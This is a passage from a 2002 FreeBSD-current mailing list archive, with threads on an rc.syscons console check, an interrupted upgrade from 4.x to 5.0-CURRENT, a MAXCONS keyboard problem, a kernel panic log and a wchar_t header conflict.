In-Reply-To: <62136.1024329444@axl.seasidesoftware.co.za>
Message-ID: <20020617113024.L3858-100000@master.gorean.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, 17 Jun 2002, Sheldon Hearn wrote:

>
>
> On Sun, 16 Jun 2002 14:04:13 MST, Doug Barton wrote:
>
> > 	Based on some suggestions by a user, I've added the following to the
> > top of rc.syscons:
> >
> > # Handle diskless boots, and other situations where syscons is not
> > present
> > #
> > if [ ! -c "${kbddev}" ]; then
> >         exit 0
> > fi
> >
> > As far as I can tell, this should be safe, but if anyone comes across
> > wackiness, please let me know.
>
> Since this script relies on /usr being mounted already, wouldn't ye olde
> "kldstat -v | grep ' scterm-sc$'" provide a more faithful answer?

	Depends on what question you're asking. :)

> I'm not sure how much it actually matters, though.  A nonexistent
> /dev/ttyv0 seems quite pathalogical to me.

	Not in a diskless boot situation, which (according to the comment)
is the primary reason for this test. Also, the rest of the file is
meaningless in the absence of this device anyway, so the test is
reasonable.

Doug


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 11:40:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from magnesium.net (toxic.magnesium.net [207.154.84.15])
	by hub.freebsd.org (Postfix) with SMTP id 85ADB37B428
	for <current@freebsd.org>; Mon, 17 Jun 2002 11:39:38 -0700 (PDT)
Received: (qmail 25785 invoked by uid 1001); 17 Jun 2002 18:39:14 -0000
Date: 17 Jun 2002 11:39:14 -0700
Date: Mon, 17 Jun 2002 11:39:14 -0700
From: Bill Swingle <unfurl@dub.net>
To: Sid Carter <sidcarter@symonds.net>
Cc: current@freebsd.org
Subject: Re: installworld breakage?
Message-ID: <20020617183914.GA24983@dub.net>
References: <20020617173501.GA22234@dub.net> <20020617174504.GA21044@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="u3/rZRmxL6MmkK24"
Content-Disposition: inline
In-Reply-To: <20020617174504.GA21044@calvin.in.ibm.com>
User-Agent: Mutt/1.3.28i
X-Operating-System: FreeBSD toxic.magnesium.net 4.5-STABLE FreeBSD 4.5-STABLE 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--u3/rZRmxL6MmkK24
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 17, 2002 at 11:15:04PM +0530, Sid Carter wrote:
> An Mon, Jun 17, 2002 at 10:35:01AM -0700, Bill Swingle schreib :
> > I'm upgrading from -stable to -current for the first time in years.
> > Since no one else has reported this on the list I'm sure this is just
> > due to this being a 4.6->5.0 upgrade.=20
> > [ ! -e /usr/bin/chpass ] ||  chflags noschg /usr/bin/chpass || true
> > *** Signal 12
> Hi,
>=20
> Please read /usr/src/UPDATING before you do so.
>=20
> Whenever you upgrade from -stable to -current, you go.....
> make buildworld
> make kernel
> Boot into single-user mode and then
> mergemaster -p
> make installworld
> mergemaster
>=20
> For more info,  /usr/src/UPDATING.

For what it's worth, I skimmed through UPDATING and didnt see anything
that spelled it out like this.=20

Ok, so I have a half-installed -current on this machine now. I'm
assuming that's why I can't build a kernel now:

cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototype=
s  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -=
ansi -g -nostdinc -I-  -I. -I/local0/world/src.current/sys -I/local0/world/=
src.current/sys/dev -I/local0/world/src.current/sys/contrib/dev/acpica -I/l=
ocal0/world/src.current/sys/contrib/ipfilter -I/local0/world/src.current/sy=
s/../include  -D_KERNEL -include opt_global.h -fno-common   -mpreferred-sta=
ck-boundary=3D2 -ffreestanding -Werror  config.c
touch hack.c
cc  -shared -nostdlib hack.c -o hack.So
rm -f hack.c
sh /local0/world/src.current/sys/conf/newvers.sh VISHNU=20
*** Signal 12

Stop in /local0/world/obj.current/local0/world/src.current/sys/VISHNU.
*** Error code 1

Stop in /local0/world/src.current.
*** Error code 1

Stop in /local0/world/src.current.

is there anyway out of this one now?

Feel free to berate me for not reading UPDATING more thourghly, I should kn=
ow better....

-Bill

--=20
-=3D| Bill Swingle - <unfurl@(dub.net|freebsd.org)>
-=3D| Every message PGP signed
-=3D| Fingerprint: C1E3 49D1 EFC9 3EE0 EA6E  6414 5200 1C95 8E09 0223
-=3D| "Computers are useless. They can only give you answers" Pablo Picasso=
=20




--u3/rZRmxL6MmkK24
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE9DizSUgAclY4JAiMRAggrAJ9niHd/nAjnWwveJ8Pqi9LVWKHDRgCfWatJ
4RHKCyClvc+ONGfK52BBZtI=
=cbLe
-----END PGP SIGNATURE-----

--u3/rZRmxL6MmkK24--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 11:52:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from magnesium.net (toxic.magnesium.net [207.154.84.15])
	by hub.freebsd.org (Postfix) with SMTP id 5619137B417
	for <current@freebsd.org>; Mon, 17 Jun 2002 11:52:22 -0700 (PDT)
Received: (qmail 26685 invoked by uid 1001); 17 Jun 2002 18:52:22 -0000
Date: 17 Jun 2002 11:52:21 -0700
Date: Mon, 17 Jun 2002 11:52:21 -0700
From: Bill Swingle <unfurl@dub.net>
To: Sid Carter <sidcarter@symonds.net>
Cc: current@freebsd.org
Subject: Re: installworld breakage?
Message-ID: <20020617185221.GB26400@dub.net>
References: <20020617173501.GA22234@dub.net> <20020617174504.GA21044@calvin.in.ibm.com> <20020617183914.GA24983@dub.net>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="wzJLGUyc3ArbnUjN"
Content-Disposition: inline
In-Reply-To: <20020617183914.GA24983@dub.net>
User-Agent: Mutt/1.3.28i
X-Operating-System: FreeBSD toxic.magnesium.net 4.5-STABLE FreeBSD 4.5-STABLE 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--wzJLGUyc3ArbnUjN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 17, 2002 at 11:39:14AM -0700, Bill Swingle wrote:
> For what it's worth, I skimmed through UPDATING and didnt see anything
> that spelled it out like this.=20
>=20
> Ok, so I have a half-installed -current on this machine now. I'm
> assuming that's why I can't build a kernel now:

Clarification: I have a half-installed -current because I didn't know I
needed to installwold after booting single user. Suggestions? I'd rather
not reinstall...

-Bill



--=20
-=3D| Bill Swingle - <unfurl@(dub.net|freebsd.org)>
-=3D| Every message PGP signed
-=3D| Fingerprint: C1E3 49D1 EFC9 3EE0 EA6E  6414 5200 1C95 8E09 0223
-=3D| "Computers are useless. They can only give you answers" Pablo Picasso=
=20




--wzJLGUyc3ArbnUjN
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE9Di/lUgAclY4JAiMRAsQoAJ0TTLZ9jIPSyWkqtNDPKbaE8H1s4ACg0GuI
XHLxYPCosMnaS143g/xuKVs=
=cxe1
-----END PGP SIGNATURE-----

--wzJLGUyc3ArbnUjN--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 12: 1:50 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129])
	by hub.freebsd.org (Postfix) with ESMTP id 955CE37B427
	for <current@freebsd.org>; Mon, 17 Jun 2002 12:01:45 -0700 (PDT)
Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.192.101])
	by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5HJ1iVw019970;
	Mon, 17 Jun 2002 15:01:44 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by westrelay05.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5HK6Q778084;
	Mon, 17 Jun 2002 14:06:27 -0600
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 96C703462; Tue, 18 Jun 2002 00:31:18 +0530 (IST)
Date: Tue, 18 Jun 2002 00:31:18 +0530
From: Sid Carter <sidcarter@symonds.net>
To: Bill Swingle <unfurl@dub.net>, current@freebsd.org
Subject: Re: installworld breakage?
Message-ID: <20020617190118.GA66386@calvin.in.ibm.com>
References: <20020617173501.GA22234@dub.net> <20020617174504.GA21044@calvin.in.ibm.com> <20020617183914.GA24983@dub.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617183914.GA24983@dub.net>
X-Operating-System: uname -rsp
Organisation: Sid Carter Inc.
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

An Mon, Jun 17, 2002 at 11:39:14AM -0700, Bill Swingle schreib :
> On Mon, Jun 17, 2002 at 11:15:04PM +0530, Sid Carter wrote:
> > An Mon, Jun 17, 2002 at 10:35:01AM -0700, Bill Swingle schreib :
> > For more info,  /usr/src/UPDATING.
Hi,

From /usr/src/UPDATING: verbatim

To upgrade from 4.x-stable to current
-------------------------------------
make buildworld
make buildkernel
KERNCONF=YOUR_KERNEL_HERE
cp src/sys/${MACHINE_ARCH}/conf/GENERIC.hints /boot/device.hints [2]
make installkernel KERNCONF=YOUR_KERNEL_HERE
reboot in single user [3]
mergemaster -p [5]
make installworld
mergemaster [4]
[1]
<reboot>

And since you cannot compile/install the kernel now, suggest
you try by installing the base from -stable and then trying the steps
mentioned above.
HTH
Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 12: 2:19 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.lflat.org (62.79.36.241.adsl.taaj.worldonline.dk [62.79.36.241])
	by hub.freebsd.org (Postfix) with ESMTP id CC2A037B433
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 12:02:03 -0700 (PDT)
Received: from puppy.loc (puppy.loc [192.168.1.2])
	by mail.lflat.org (Postfix) with ESMTP id AAEBA33E0F
	for <freebsd-current@freebsd.org>; Mon, 17 Jun 2002 21:02:01 +0200 (CEST)
Subject: Re: Still can't use keyboard with X
From: Vadim Belman <voland@lflat.org>
To: freebsd-current@freebsd.org
In-Reply-To: <15630.708.899749.243926@gargle.gargle.HOWL>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
	<15629.63338.337354.426548@gargle.gargle.HOWL>
	<xzpd6uplxvv.fsf@flood.ping.uio.no> 
	<15630.708.899749.243926@gargle.gargle.HOWL>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Ximian Evolution 1.0.7 
Date: 17 Jun 2002 21:02:01 +0200
Message-Id: <1024340521.3694.1.camel@puppy.loc>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, 2002-06-17 at 17:39, Tomi Vainio - Sun Finland - wrote:
> Dag-Erling Smorgrav writes:
>  > Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
>  > > I just found what was wrong.  Devfs didn't create enough ttyv devices.
>  > > I only had v0-3 and when I removed getty from v3 X started to work.
>  > 
>  > Are you sure devfs is running?
>  > 
> Is it default for current?  Atleast df shows it?
> devfs                      1       1        0   100%    /dev

	I wonder, what is in your kernel configuration? What is your MAXCONS
value?

-- 
/Voland			Vadim Belman
			http://www.lflat.org
			http://www.lflat.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 12:29:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227])
	by hub.freebsd.org (Postfix) with ESMTP id CEE4237B40F
	for <current@freebsd.org>; Mon, 17 Jun 2002 12:29:06 -0700 (PDT)
Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.192.101])
	by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5HJT5RY056530
	for <current@freebsd.org>; Mon, 17 Jun 2002 15:29:05 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by westrelay05.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5HKXc7101308
	for <current@freebsd.org>; Mon, 17 Jun 2002 14:33:39 -0600
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 2138D33D2; Tue, 18 Jun 2002 00:58:30 +0530 (IST)
Date: Tue, 18 Jun 2002 00:58:30 +0530
From: Sid Carter <sidcarter@symonds.net>
To: current@freebsd.org
Subject: Kernel panic....again at bmemfree
Message-ID: <20020617192830.GA339@calvin.in.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Operating-System: uname -rsp
Organisation: Sid Carter Inc.
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

Another Kernel Panic.........

uname -a
--------

FreeBSD calvin 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Mon Jun 17 16:19:59 IST 2002     root@calvin:/usr/obj/usr/src/sys/GENERIC  i386

/var/log/messages
-----------------

Jun 18 00:50:00 calvin kernel: /usr/src/sys/vm/uma_core.c:1327: could
sleep with "process lock" locked from /usr/src/sys/kern/kern_prot.c:613
Jun 18 00:52:27 calvin syslogd: kernel boot file is /boot/kernel/kernel
Jun 18 00:52:27 calvin kernel: Memory modified after free 0xd39be600(252)
Jun 18 00:52:27 calvin kernel: panic: Most recently used by file desc
Jun 18 00:52:27 calvin kernel:
Jun 18 00:52:27 calvin kernel:
Jun 18 00:52:27 calvin kernel: syncing disks... panic: bremfree: bp 0xc7666390 
not locked
Jun 18 00:52:27 calvin kernel: Uptime: 2h53m35s
Jun 18 00:52:27 calvin kernel: pfs_vncache_unload(): 1 entries remaining
Jun 18 00:52:27 calvin kernel: Terminate ACPI
Jun 18 00:52:27 calvin kernel: Automatic reboot in 15 seconds - press a
key on the console to abort
Jun 18 00:52:27 calvin kernel: Rebooting...

Processes running
-----------------
gaim
mozilla
ding
couple of Eterms and gnome2
galeon compile from ports
portinstall of galeon

Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 12:33:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mobile.webweaving.org (fia224-72.dsl.hccnet.nl [62.251.72.224])
	by hub.freebsd.org (Postfix) with ESMTP
	id F040637B410; Mon, 17 Jun 2002 12:33:22 -0700 (PDT)
Received: from localhost.leiden.webweaving.org (localhost.leiden.webweaving.org [127.0.0.1] (may be forged))
	by mobile.webweaving.org (8.12.2/8.10.2) with ESMTP id g5HJWpqD009352;
	Mon, 17 Jun 2002 21:32:51 +0200 (CEST)
X-Curiosity: Killed the Cat
X-Huis-aan-Huis-deur-sticker: nee-nee
X-Spam: no
X-Passed: MX on Gandalf.WebWeaving.org Mon, 17 Jun 2002 21:32:51 +0200 (CEST) and masked
X-No-Spam: Neither the receipients nor the senders email address(s)
	are to be used for Unsolicited (Commercial) Email without the
	explicit written consent of either party; as a per-message fee
	is incurred for inbound and outbound traffic to the originator.
Date: Mon, 17 Jun 2002 21:32:51 +0200 (CEST)
From: dirkx@covalent.net
X-X-Sender: dirkx@mobile.webweaving.org
To: DougB@FreeBSD.ORG
Cc: sheldonh@starjuice.net, current@FreeBSD.ORG
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0 
In-Reply-To: <20020617113024.L3858-100000@master.gorean.org>
Message-ID: <Pine.OSX.4.43.0206172132100.339-100000@mobile.webweaving.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


> > I'm not sure how much it actually matters, though.  A nonexistent
> > /dev/ttyv0 seems quite pathalogical to me.
>
> 	Not in a diskless boot situation, which (according to the comment)
> is the primary reason for this test. Also, the rest of the file is
> meaningless in the absence of this device anyway, so the test is
> reasonable.

Actually diskless -and- headless (i.e. a net 4501 from soekris.com with
just a serial console). It is the headless part which makes the VGA and
hence the ttyv0 go missing.

Dw.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 12:44:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 5820F37B41A
	for <current@freebsd.org>; Mon, 17 Jun 2002 12:44:56 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5HJfHP8022280;
	Mon, 17 Jun 2002 12:41:17 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.3/8.12.3/Submit) id g5HJfGvF022279;
	Mon, 17 Jun 2002 12:41:16 -0700 (PDT)
Date: Mon, 17 Jun 2002 12:41:16 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Martin Blapp <mb@imp.ch>
Cc: current@freebsd.org
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020617124116.C22054@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Martin Blapp <mb@imp.ch>, current@freebsd.org
References: <20020616225518.I34000-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020616225518.I34000-100000@levais.imp.ch>; from mb@imp.ch on Sun, Jun 16, 2002 at 10:57:32PM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 10:57:32PM +0200, Martin Blapp wrote:
> On current, wchar_t is already defined in libstd++. This
> makes gcc baby cry.

libstd++ should use our _BSD_WCAHR_T_ definitions, not its guesses at
what we use.  Willing to make a patch to fix the libstdc++ headers?

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 13:23:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by hub.freebsd.org (Postfix) with ESMTP id 933FE37B491
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 13:23:13 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA28292;
	Mon, 17 Jun 2002 14:25:14 -0600 (MDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5HKNAO11809;
	Mon, 17 Jun 2002 23:23:11 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5HKN832001780;
	Mon, 17 Jun 2002 23:23:08 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5HKN7v7001777;
	Mon, 17 Jun 2002 23:23:07 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15630.17707.292787.268889@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 23:23:07 +0300
To: Vadim Belman <voland@lflat.org>
Cc: freebsd-current@FreeBSD.ORG, Dag-Erling Smorgrav <des@ofug.org>
Subject: Re: Still can't use keyboard with X
In-Reply-To: <1024340521.3694.1.camel@puppy.loc>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
	<15629.63338.337354.426548@gargle.gargle.HOWL>
	<xzpd6uplxvv.fsf@flood.ping.uio.no>
	<15630.708.899749.243926@gargle.gargle.HOWL>
	<1024340521.3694.1.camel@puppy.loc>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Vadim Belman writes:
 > 
 > 	I wonder, what is in your kernel configuration? What is your MAXCONS
 > value?
 > 
Yes, you found it!  My kernel config has couple years old setting for
MAXCONS=4.  Setting still works very well :)

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 13:53:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dignus.com (sdsl-64-32-254-102.dsl.iad.megapath.net [64.32.254.102])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2578437B40C; Mon, 17 Jun 2002 13:52:57 -0700 (PDT)
Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3])
	by dignus.com (8.11.6/8.11.3) with ESMTP id g5HKkch83249;
	Mon, 17 Jun 2002 16:46:38 -0400 (EDT)
	(envelope-from rivers@dignus.com)
Received: (from rivers@localhost)
	by lakes.dignus.com (8.11.6/8.11.3) id g5HKl4i52609;
	Mon, 17 Jun 2002 16:47:04 -0400 (EDT)
	(envelope-from rivers)
Date: Mon, 17 Jun 2002 16:47:04 -0400 (EDT)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <200206172047.g5HKl4i52609@lakes.dignus.com>
To: current@FreeBSD.ORG, mb@imp.ch, obrien@FreeBSD.ORG
Subject: Re: PATCH: wchar_t is already defined in libstd++
In-Reply-To: <20020617124116.C22054@dragon.nuxi.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


"David O'Brien" <obrien@FreeBSD.ORG> wrote:

> On Sun, Jun 16, 2002 at 10:57:32PM +0200, Martin Blapp wrote:
> > On current, wchar_t is already defined in libstd++. This
> > makes gcc baby cry.
> 
> libstd++ should use our _BSD_WCAHR_T_ definitions, not its guesses at
> what we use.  Willing to make a patch to fix the libstdc++ headers?
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 

 Uh...

 In standard C++, wchar_t is a keyword.  So, there should be
 no definition of wchar_t at all.  I think this is the problem.
 (You can't typedef a predefined keyword.)  

 (Now - the compiler should certainly have the very same
 idea of what a wchar_t is.. the same idea as the C typedef,
 but that's a gcc configuration problem.)

	- Dave Rivers -

--
rivers@dignus.com                        Work: (919) 676-0847
Get your mainframe programming tools at http://www.dignus.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 14:57: 4 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3D80637B401; Mon, 17 Jun 2002 14:56:59 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5HLuwb31123;
	Mon, 17 Jun 2002 23:56:58 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5HLuv9014111984;
	Mon, 17 Jun 2002 23:56:57 +0200 (MES)
Date: Mon, 17 Jun 2002 23:58:00 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Thomas David Rivers <rivers@dignus.com>
Cc: <current@FreeBSD.ORG>, <obrien@FreeBSD.ORG>
Subject: Re: PATCH: wchar_t is already defined in libstd++
